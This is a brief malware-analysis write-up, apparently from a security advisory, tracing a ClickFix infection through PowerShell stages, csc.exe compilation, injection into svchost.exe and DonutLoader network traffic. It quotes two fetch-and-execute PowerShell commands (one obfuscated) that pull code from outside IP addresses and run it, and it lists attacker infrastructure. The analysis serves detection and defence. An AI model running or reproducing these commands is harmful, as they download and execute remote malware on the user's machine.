Observed Execution Flow: Stage 1: Initial Access via Browser ---> Clickfix Stage 2: Obfuscated PowerShell Execution ``` Write-Host(iex(irm((('178.'+'16')+('.52.'+'232')))))2>$null ``` Stage 3: Secondary Payload Download A child PowerShell process (PID 4908) spawned by PID 7408 executes: ``` Invoke-WebRequest -Uri "http://158.94.208.92" -UseBasicParsing Invoke-Expression $checkResult.Content ``` Stage 4: Code Compilation and Injection (csc.exe) Stage 5: Payload Execution in svchost.exe & self-deletion when finished Stage 6: Network Communication -> Suricata IDS detects DonutLoader requesting additional payloads from 158.94.208.104:80 Detailed description available at https://secureleaf.dispensight.com/SecureLeaf-ADV-2026-WP-001.pdf